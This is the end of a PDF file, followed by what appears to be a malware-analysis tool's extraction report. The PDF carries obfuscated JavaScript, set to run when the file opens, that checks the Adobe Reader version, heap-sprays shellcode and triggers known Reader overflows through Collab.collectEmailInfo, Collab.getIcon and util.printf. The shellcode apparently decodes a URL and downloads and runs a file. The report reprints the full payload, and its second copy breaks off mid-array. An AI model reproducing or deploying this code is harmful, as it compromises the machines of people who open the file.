�笋v| J5�F��X�8@,g�/�/4�  �*�~ ��i���X� 4���7�`o <��&� ���$���`s`�0��N  C ( �*� ݠ�I�vQ� �`G_�l�\�M 0� r"o���T�j  +GX�%PUc�5HX�v�w '��]�
)� �6�� �)�kI� +N1!�xSD�����$;�1,o�/�� ;|1U�� ��hyi_q��Q ����� �
���l	���ZD�3Q{G�A9� �1�'=ژ�# P)��p�Ͱ��=hF�X ��kk�^�; �����[N� >C:a|%����� �5X�yF�0��/�{�iL� �  hT� �{�*8\  �����r� �dI(�}1� �Jm�:��i����ʈs���k� u���
uXTifg�m�
 �N��p���Y ���@��}
�l�ص����ʘ� �T½���� �����tV v A)� �L+ z�B K�R�����k t��GXkL� `>� ��&v`�6i �D~�G�G�:�0�� �w��ì5jL� ���b� ��9���nᩎ�����<e� 1M ��9
ڗ��a �%b0��:��'zd �e�a]V�V����vjD ��r�7m7I �)8���y�3ݿ *tv@c* T'/��p�� ���>"�� C,  ޱ	;�v7aw 2  ��8 bA[K� ���������ylets�)��3R   >-S,��f��<�x� #I�?���K^ ~W����7
 I �do����m�Q�aˬ��� 9ns ��-�|@�1>A�*�S��B����Sg5L���猓,a��ؽ�U�;7�B��F 
���� �����[ �G{��� �C�p�5�� �p> ��D ����Uk�Ԋ� �Y�R� U  ��(1- TZ���{ t�kk$ �Ob k$B ��4<��g�� c*�l���n`T �ʣ?d֛bi� �Ϩ ʧ��
�l<>Qο�X����� ��w&�� &�r�`B� },��M�� � ���GXb !�;����MH� �o�Mj�:��.G8�}�p�<9�ʽ�#GMb  �J^ -@��*��  ݼ���;�� n1� j�
� �dQ�p��eH�,kr��P�� �_�%W,�t� ������y���� N�Tjv���� 8=
��O&� \==�9D� J� �9�f�x�{�q��?�xD��0 N ����q�����>�u���OI^�	�˷(
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1037>>
stream
x��V]o�6 }��8�P`{ #�;�˺v+СM l@� J�e� ��� ���0 �� �̓![&.y�9��{��� =2��s�O��S�y˧ ��p�f���2���m5�zX[ �!�'br�- fs1?�t,f�Y�" �lp�G��  �vO O̞��
 M�G߾ ��� 1�b9�� �
�~�6�_L/�����?}�� }<�} ���;#�< ��_i�T�Zmt8�� ���� ���j�����֏����J �w ��� ��R�h0�M  ��
.0��
�O��t�,� `�Hj�%�L������  ��*DY���U k�� p.-�R� �� l\��Z- Zߕ
!z٣�����Y�� � ��1 �� w  PS 02(/��Py�^� �iܠ��v� ��S��w��{��n ��
��T%���5-�� 0H���4 ��4�� ��d ��4$�oo!�R6*  ��cF>�G�����F)m5�<U�M�*&� �� |� ��� ԑ 툚2`*[ !��5V`嶃C��B� �d �ͭ��� �< �[(�9&�� �@ �^�t��:FP�r�P�LK���FX]n���U��]c�YfqM g�� ��  ��N��^�PiE��uFz�����!�0 �W���B ���p�� ���P�¨��>�S�� �4 ��7��<�LQ� и 
s �^-�#  �
[������ ��,˝V=� � \i TpL  ��I5
Y˨X��K= #% �d)K��a�- %'d�i�c����'�P*�x� ᘔ�O ˍen( l��
\v,��d�= W� H�LʄQ� �VR�ﵗ `t�H�,E  K��<�H�o�*�C e��yf� 
��������1[ԝ�� $���� �lRm ��垁�(�n� -A�ɴё��VR �
��)v��l���01�ɰV,����)���r �o� ��;��1c��c��0-�g�  R�c�]d�( �'����Q�q� ��c�8�7<3����6UE�E �*t�5u��zw\� ��sC�vu��bGL �%:ל)/����=���x��;|�������:^��l [���.��p��"_� �|z�q��� '� �� "�ǎx 
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2182>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�+�O�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��L���)\i7��(����(� �(� �(� �(� �(� �(� �( ��[�(��II1� QEQ!E P E P E P E P E P E P E P E P E P E P E P E P E P O��*� 3L�� vw.� �= ��*M�R9 �RL*�pG4�r�~n
d�c��s;�r�  d� �� QE 
(��
(��
(��
(��
(��
(��� Q@  Q@��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �<f��Z�rj^F�I�(����(� ' �?f &��Ql��(�HQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE .)����QE B
�� r*:)5r���RA=1L� 4�d Q��+��MظEKVJ E ���>�wDIr�  QL���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(� n~n
>�M\�ɭ�U�1KE ����QE  (��(��(��(��(��(��(��(��(��(��  R+ �ih ��QE  (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���" p�jJ(�����QE �
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
Fm���2(*6��	n i��Q� �� �$k4�>�(�` QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE&ќ��E m���( QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE  ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��jEx0K7hU=null;function tzyOODPYo\(\){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array\(\);var rY2CxZ3zCv;function xpZUeT6FR\(zHY94ooE, enaQ3oKPv\){while\(zHY94ooE.length * 2 < enaQ3oKPv\){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring\(0, enaQ3oKPv / 2\);return zHY94ooE;}function tUkoPNmN\(jk5aj6jqm\){if\(jk5aj6jqm == 0\){var iric865U = 0x0c0c0c0c;}else if\(jk5aj6jqm == 1\){iric865U = 0x30303030;}var lxDQHmzn = new Array\(\\"%u5350%u5\\",\\"251%u5756\\",\\"%u9c55\\",\\"%u00e\\",\\"8%u0000%u5\\",\\"d00%ue\\",\\"d83%u310d%\\",\\"u64c0\\",\\"%u4003%u78\\",\\"30%u8b\\",\\"0c%u0c4\\",\\"0%u708\\",\\"b%uad1c%\\",\\"u408b%u\\",\\"eb08%u\\",\\"8b09%u344\\",\\"0%u408\\",\\"d%u8b7c\\",\\"%u3c40%\\",\\"u5756%u5eb\\",\\"e%u0001\\",\\"%u0100%u\\",\\"bfee%u0\\",\\"14e%u0\\",\\"000%uef0\\",\\"1%ud6e8%u0\\",\\"001%u\\",\\"5f00%u895e\\",\\"%u81e\\",\\"a%u5ec2%\\",\\"u0001%u520\\",\\"0%u8068\\",\\"%u0000%\\",\\"uff00%u\\",\\"4e95%\\",\\"u0001%u890\\",\\"0%u81e\\",\\"a%u5ec2%u0\\",\\"001%u3100\\",\\"%u01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u0000\\",\\"%ufb80\\",\\"%u7400%u8\\",\\"806%u321c\\",\\"%ueb46%u\\",\\"c6ee%u320\\",\\"4%u8900%\\",\\"u81ea%u\\",\\"45c2%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea8\\",\\"9%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95ff\\",\\"%u0156%u0\\",\\"000%u006a\\",\\"%u006a%\\",\\"uea89%u\\",\\"c281%u0\\",\\"15e%u\\",\\"0000%u89\\",\\"52%u81ea%\\",\\"u78c2%\\",\\"u0002%u5\\",\\"200%u\\",\\"006a%ud0f\\",\\"f%u05\\",\\"6a%uea89%\\",\\"uc281%u01\\",\\"5e%u0000%u\\",\\"ff52%u5a9\\",\\"5%u0001%u8\\",\\"900%u\\",\\"81ea%\\",\\"u5ec2%u000\\",\\"1%u5200\\",\\"%u8068%u\\",\\"0000%uff00\\",\\"%u4e95%u\\",\\"0001%\\",\\"u8900%u81e\\",\\"a%u5e\\",\\"c2%u0001\\",\\"%u3100\\",\\"%u01f6%u8\\",\\"ac2%u35\\",\\"9c%u026e%\\",\\"u0000%\\",\\"ufb80%u7\\",\\"400%u880\\",\\"6%u321c%ue\\",\\"b46%uc6e\\",\\"e%u32\\",\\"04%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%u9\\",\\"5ff%u01\\",\\"52%u0000%\\",\\"uea89%u\\",\\"c281%\\",\\"u0250%u0\\",\\"000%u5052%\\",\\"u95ff%u01\\",\\"56%u0000%u\\",\\"006a%u\\",\\"006a%uea\\",\\"89%uc28\\",\\"1%u015e%u\\",\\"0000%u8\\",\\"952%u81\\",\\"ea%ua6c2%\\",\\"u0002%\\",\\"u5200%u00\\",\\"6a%ud0f\\",\\"f%u056\\",\\"a%uea89%uc\\",\\"281%u\\",\\"015e%u\\",\\"0000%uff\\",\\"52%u5\\",\\"a95%u0001\\",\\"%u9d00%u5f\\",\\"5d%u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%u0000\\",\\"%u0000%u\\",\\"0000%\\",\\"u0000%u65\\",\\"47%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%u\\",\\"6269%u\\",\\"6172%u797\\",\\"2%u00\\",\\"41%u654\\",\\"7%u5074%u6\\",\\"f72%u416\\",\\"3%u646\\",\\"4%u6572%u\\",\\"7373%u\\",\\"5700%u6e\\",\\"69%u78\\",\\"45%u63\\",\\"65%ubb0\\",\\"0%uf2\\",\\"89%uf789%\\",\\"uc030\\",\\"%u75ae%u2\\",\\"9fd%u\\",\\"89f7%\\",\\"u31f9%\\",\\"ubec0%\\",\\"u003c%u\\",\\"0000%ub503\\",\\"%u021b%u00\\",\\"00%uad6\\",\\"6%u85\\",\\"03%u021\\",\\"b%u0000%u7\\",\\"08b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u\\",\\"0000%u\\",\\"bd8d%\\",\\"u021f%u00\\",\\"00%u03\\",\\"ad%u1b\\",\\"85%u00\\",\\"02%uab00%\\",\\"u03ad%u1b\\",\\"85%u0002%\\",\\"u5000\\",\\"%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab\\",\\"%udb31%u56\\",\\"ad%u850\\",\\"3%u021b%\\",\\"u0000%uc6\\",\\"89%ud7\\",\\"89%ufc51%\\",\\"ua6f3%u7\\",\\"459%u5\\",\\"e04%ueb43\\",\\"%u5ee9%u\\",\\"d193%u03e0\\",\\"%u2785%u0\\",\\"002%u3100\\",\\"%u96f6%\\",\\"uad66%ue\\",\\"0c1%u0302%\\",\\"u1f85%u00\\",\\"02%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%uebc3\\",\\"%u0010%\\",\\"u0000%\\",\\"u0000%u000\\",\\"0%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u890\\",\\"0%u1b\\",\\"85%u0002%\\",\\"u5600%ue8\\",\\"57%uff58%u\\",\\"ffff%\\",\\"u5e5f%u\\",\\"01ab%u80c\\",\\"e%ubb3\\",\\"e%u0274%u\\",\\"edeb%u55\\",\\"c3%u4c5\\",\\"2%u4f4d\\",\\"%u2e4e%u\\",\\"4c44%\\",\\"u004c%u525\\",\\"5%u444c%u7\\",\\"76f%u6\\",\\"c6e%u616\\",\\"f%u5464%u\\",\\"466f%u\\",\\"6c69%u\\",\\"4165%u750\\",\\"0%u64\\",\\"70%u7461%\\",\\"u2e65%\\",\\"u7865%u\\",\\"0065%u72\\",\\"63%u7\\",\\"361%u2e68\\",\\"%u687\\",\\"0%u007\\",\\"0%u7468%\\",\\"u7074%u2\\",\\"f3a%u6f2f%\\",\\"u616c%u64\\",\\"6e%u6e6f%\\",\\"u632e\\",\\"%u6d6\\",\\"f%u76\\",\\"2f%u7\\",\\"265%u\\",\\"6173%u75\\",\\"2f%u6470%u\\",\\"7461%u2e65\\",\\"%u6870%u3f\\",\\"70%u6\\",\\"469%u3\\",\\"33d%u7226%\\",\\"u7465%u\\",\\"6f3d%u00\\",\\"6b%u9000\\"\);lxDQHmzn = unescape\(lxDQHmzn.join\(\\"\\"\)\);var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - \(rqVkMn73vX + 0x38\);var zHY94ooE = unescape\(\\"%u9090%u9090\\"\);zHY94ooE = xpZUeT6FR\(zHY94ooE, enaQ3oKPv\);var wfNlaURwA = \(iric865U - 0x400000\) / phldahIIt;for\(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++\){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw\(\){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString\(\);app.clearTimeOut\(rY2CxZ3zCv\);if\(\(rpQegGRv >= 8 && rpQegGRv < 8.102\) || rpQegGRv < 7.1\){tUkoPNmN\(0\);var bjW5dSzGu = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bjW5dSzGu.length < 44952\) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\\"collabStore\\"] = x52iu1NL[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bjW5dSzGu}\);}if\(\(rpQegGRv >= 8.102 && rpQegGRv < 8.104\) || \(rpQegGRv >= 9 && rpQegGRv < 9.1\) || rpQegGRv <= 7.101\){try{if\(app.doc.Collab.getIcon\){tUkoPNmN\(2\);var kLWPthXb = unescape\(\\"%09\\"\);while\(kLWPthXb.length < 0x4000\){kLWPthXb += kLWPthXb;}kLWPthXb = \\"N.\\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(kLWPthXb\);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch\(e\){mzcnNPzF9a = 1;}if\(mzcnNPzF9a == 1\){if\(rpQegGRv == 8.102 || rpQegGRv == 7.1\){tUkoPNmN\(1\);var edLLyOc8V = \\"12999999999999999999\\";for\(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++\){edLLyOc8V += \\"8\\";}var qVTBH6EV5 = util;qVTBH6EV5[\\"printf\\"]\(\\"%45000f\\", edLLyOc8V\);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut\(\\"app.gki0cHIe\(\)\\", 10\);';this.uidBX8Gl=0.0623598931;function cQZodvu46\(irJ9fFty,jheATvQqm\){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace\(/[]/g, ''\);function hLPauvgOSG\(nhfZ8mPVxS\){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array\(\);xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'e'+'v'+'a'+'l';app[aRBRHTUkH]\(eYBbp78I\);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;)
>>
endobj
19 0 obj
<<
/Title (��hereThisOn)
/Author (��dummyEverAt)
/Subject (��anBookIs)
/Keywords (��looksForSites, lookPointCicero, overAldusAmet)
/Creator (��sLong)
/Producer (��154d7da9e669c75ee317d46614381dd8)
/CreationDate (D:20091013213010+04'00')
/ModDate (D:20091013213010+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000009271 00000 n 
0000012250 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002818 00000 n 
0000002926 00000 n 
0000005504 00000 n 
0000005612 00000 n 
0000008053 00000 n 
0000008162 00000 n 
0000009347 00000 n 
0000009463 00000 n 
0000009577 00000 n 
0000009684 00000 n 
0000009793 00000 n 
0000009901 00000 n 
0000012445 00000 n 
0000012497 00000 n 
0000024683 00000 n 
0000025085 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
25487
%%EOF
generic_stage_recovery_001.js deobfuscated-js generic stage recovery null-collapse from JavaScript object 18 at offset 0x30D1 5742 bytes
SHA-256: a7c045ccbcae52ee29fc88b14e4e541e1e7011269cca6c1e1da7ca1099340ca6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff\",\"%u0156%u0\",\"000%u006a\",\"%u006a%\",\"uea89%u\",\"c281%u0\",\"15e%u\",\"0000%u89\",\"52%u81ea%\",\"u78c2%\",\"u0002%u5\",\"200%u\",\"006a%ud0f\",\"f%u05\",\"6a%uea89%\",\"uc281%u01\",\"5e%u0000%u\",\"ff52%u5a9\",\"5%u0001%u8\",\"900%u\",\"81ea%\",\"u5ec2%u000\",\"1%u5200\",\"%u8068%u\",\"0000%uff00\",\"%u4e95%u\",\"0001%\",\"u8900%u81e\",\"a%u5e\",\"c2%u0001\",\"%u3100\",\"%u01f6%u8\",\"ac2%u35\",\"9c%u026e%\",\"u0000%\",\"ufb80%u7\",\"400%u880\",\"6%u321c%ue\",\"b46%uc6e\",\"e%u32\",\"04%u890\",\"0%u81ea%u4\",\"5c2%u0002%\",\"u5200%u9\",\"5ff%u01\",\"52%u0000%\",\"uea89%u\",\"c281%\",\"u0250%u0\",\"000%u5052%\",\"u95ff%u01\",\"56%u0000%u\",\"006a%u\",\"006a%uea\",\"89%uc28\",\"1%u015e%u\",\"0000%u8\",\"952%u81\",\"ea%ua6c2%\",\"u0002%\",\"u5200%u00\",\"6a%ud0f\",\"f%u056\",\"a%uea89%uc\",\"281%u\",\"015e%u\",\"0000%uff\",\"52%u5\",\"a95%u0001\",\"%u9d00%u5f\",\"5d%u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%u0000\",\"%u0000%u\",\"0000%\",\"u0000%u65\",\"47%u5474%u\",\"6d65%u5070\",\"%u7461%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%u\",\"6269%u\",\"6172%u797\",\"2%u00\",\"41%u654\",\"7%u5074%u6\",\"f72%u416\",\"3%u646\",\"4%u6572%u\",\"7373%u\",\"5700%u6e\",\"69%u78\",\"45%u63\",\"65%ubb0\",\"0%uf2\",\"89%uf789%\",\"uc030\",\"%u75ae%u2\",\"9fd%u\",\"89f7%\",\"u31f9%\",\"ubec0%\",\"u003c%u\",\"0000%ub503\",\"%u021b%u00\",\"00%uad6\",\"6%u85\",\"03%u021\",\"b%u0000%u7\",\"08b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u\",\"0000%u\",\"bd8d%\",\"u021f%u00\",\"00%u03\",\"ad%u1b\",\"85%u00\",\"02%uab00%\",\"u03ad%u1b\",\"85%u0002%\",\"u5000\",\"%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab\",\"%udb31%u56\",\"ad%u850\",\"3%u021b%\",\"u0000%uc6\",\"89%ud7\",\"89%ufc51%\",\"ua6f3%u7\",\"459%u5\",\"e04%ueb43\",\"%u5ee9%u\",\"d193%u03e0\",\"%u2785%u0\",\"002%u3100\",\"%u96f6%\",\"uad66%ue\",\"0c1%u0302%\",\"u1f85%u00\",\"02%u8900%\",\"uadc6\",\"%u8503%u02\",\"1b%u00\",\"00%uebc3\",\"%u0010%\",\"u0000%\",\"u0000%u000\",\"0%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u890\",\"0%u1b\",\"85%u0002%\",\"u5600%ue8\",\"57%uff58%u\",\"ffff%\",\"u5e5f%u\",\"01ab%u80c\",\"e%ubb3\",\"e%u0274%u\",\"edeb%u55\",\"c3%u4c5\",\"2%u4f4d\",\"%u2e4e%u\",\"4c44%\",\"u004c%u525\",\"5%u444c%u7\",\"76f%u6\",\"c6e%u616\",\"f%u5464%u\",\"466f%u\",\"6c69%u\",\"4165%u750\",\"0%u64\",\"70%u7461%\",\"u2e65%\",\"u7865%u\",\"0065%u72\",\"63%u7\",\"361%u2e68\",\"%u687\",\"0%u007\",\"0%u7468%\",\"u7074%u2\",\"f3a%u6f2f%\",\"u616c%u64\",\"6e%u6e6f%\",\"u632e\",\"%u6d6\",\"f%u76\",\"2f%u7\",\"265%u\",\"6173%u75\",\"2f%u6470%u\",\"7461%u2e65\",\"%u6870%u3f\",\"70%u6\",\"469%u3\",\"33d%u7226%\",\"u7465%u\",\"6f3d%u00\",\"6b%u9000\");lxDQHmzn = unescape(lxDQHmzn.join(\"\"));var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - (rqVkMn73vX + 0x38);var zHY94ooE = unescape(\"%u9090%u9090\");zHY94ooE = xpZUeT6FR(zHY94ooE, enaQ3oKPv);var wfNlaURwA = (iric865U - 0x400000) / phldahIIt;for(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw(){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString();app.clearTimeOut(rY2CxZ3zCv);if((rpQegGRv >= 8 && rpQegGRv < 8.102) || rpQegGRv < 7.1){tUkoPNmN(0);var bjW5dSzGu = unescape(\"%u0c0c%u0c0c\");while(bjW5dSzGu.length < 44952) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\"collabStore\"] = x52iu1NL[\"collectEmailInfo\"]({subj : \"\", msg : bjW5dSzGu});}if((rpQegGRv >= 8.102 && rpQegGRv < 8.104) || (rpQegGRv >= 9 && rpQegGRv < 9.1) || rpQegGRv <= 7.101){try{if(app.doc.Collab.getIcon){tUkoPNmN(2);var kLWPthXb = unescape(\"%09\");while(kLWPthXb.length < 0x4000){kLWPthXb += kLWPthXb;}kLWPthXb = \"N.\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\"doc\"][\"Collab\"][\"getIcon\"](kLWPthXb);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch(e){mzcnNPzF9a = 1;}if(mzcnNPzF9a == 1){if(rpQegGRv == 8.102 || rpQegGRv == 7.1){tUkoPNmN(1);var edLLyOc8V = \"12999999999999999999\";for(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++){edLLyOc8V += \"8\";}var qVTBH6EV5 = util;qVTBH6EV5[\"printf\"](\"%45000f\", edLLyOc8V);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut(\"app.gki0cHIe()\", 10);';this.uidBX8Gl=0.0623598931;function cQZodvu46(irJ9fFty,jheATvQqm){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace(/[]/g, '');function hLPauvgOSG(nhfZ8mPVxS){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array();xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'e'+'v'+'a'+'l';app[aRBRHTUkH](eYBbp78I);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;
generic_stage_recovery_002.js deobfuscated-js generic stage recovery split-literal-normalize from decompressed stream at 0x30D1 at offset 0x30D1 5731 bytes
SHA-256: a36c98981032556678673c94c045a5971b294f6c744259b071a9173ff7ee4106
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
jEx0K7hU=null;function tzyOODPYo(){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array();var rY2CxZ3zCv;function xpZUeT6FR(zHY94ooE, enaQ3oKPv){while(zHY94ooE.length * 2 < enaQ3oKPv){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring(0, enaQ3oKPv / 2);return zHY94ooE;}function tUkoPNmN(jk5aj6jqm){if(jk5aj6jqm == 0){var iric865U = 0x0c0c0c0c;}else if(jk5aj6jqm == 1){iric865U = 0x30303030;}var lxDQHmzn = new Array(\"%u5350%u5\",\"251%u5756\",\"%u9c55\",\"%u00e\",\"8%u0000%u5\",\"d00%ue\",\"d83%u310d%\",\"u64c0\",\"%u4003%u78\",\"30%u8b\",\"0c%u0c4\",\"0%u708\",\"b%uad1c%\",\"u408b%u\",\"eb08%u\",\"8b09%u344\",\"0%u408\",\"d%u8b7c\",\"%u3c40%\",\"u5756%u5eb\",\"e%u0001\",\"%u0100%u\",\"bfee%u0\",\"14e%u0\",\"000%uef0\",\"1%ud6e8%u0\",\"001%u\",\"5f00%u895e\",\"%u81e\",\"a%u5ec2%\",\"u0001%u520\",\"0%u8068\",\"%u0000%\",\"uff00%u\",\"4e95%\",\"u0001%u890\",\"0%u81e\",\"a%u5ec2%u0\",\"001%u3100\",\"%u01f6%u8a\",\"c2%u359c%u\",\"0263%u0000\",\"%ufb80\",\"%u7400%u8\",\"806%u321c\",\"%ueb46%u\",\"c6ee%u320\",\"4%u8900%\",\"u81ea%u\",\"45c2%u0002\",\"%u5200\",\"%u95f\",\"f%u0152\",\"%u000\",\"0%uea8\",\"9%uc28\",\"1%u0250%u0\",\"000%u5\",\"052%u95ff